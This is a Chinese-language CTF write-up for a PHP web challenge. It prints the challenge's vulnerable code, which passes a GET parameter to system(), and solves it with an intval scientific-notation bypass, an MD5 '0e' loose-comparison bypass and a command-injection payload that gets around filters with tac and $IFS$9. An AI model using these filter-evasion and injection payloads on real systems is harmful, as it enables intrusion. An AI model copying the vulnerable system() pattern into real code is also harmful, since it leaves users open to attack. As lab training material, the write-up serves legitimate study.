题目:
题目一打开显示乱码,我们用火狐浏览器调整一下编码就OK,但是不知道为什么qq浏览器调整之后还是不行
火狐浏览器->三道杠->更多->文字编码->Unicode就可以了
痛苦才刚刚开始
1.看到bot字眼,第一眼想到buu的bot机器人,然后就想到robots.txt网站的爬虫规则,访问一下,果然有料
2.访问一下fAke_f1agggg.php,我就知道不会这么简单
3.对页面抓包看一下,F12看也一样,有料,看到了Look_at_me: /fl4g.php
4.大眼一看三层绕过,还让我去非洲???
2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
5.intval函数绕过
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
GET接收num传参,num要小于2020,加1之后要大于2021,否则要么die,要么还是die
随后查询intval()函数的使用方式,发现如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型
这样一来就可以bypass
6.MD5弱类型
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
意思就是找到一串数字使它md5加密前后数值相等,显而易见的md5如类型
产生条件我们都知道,是因为php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较
这种数字百度就可以搜到,0e215962017
成功突破第二关
7.get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
意思就是:get_flag用于接收参数,作为系统命令执行,传参不能有空格,如果有cat,将会被替换为wctf2020
先传一个ls看一看,目标出现了
虽然过滤了cat命令,但是我们可以使用tac命令,用法就是将按行倒着显示,最后一行显示在最上面
绕过空格,我们可以使用$IFS$9
留存一下绕过小技巧的文章https://www.freebuf.com/articles/web/137923.html
所以最终payload
/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag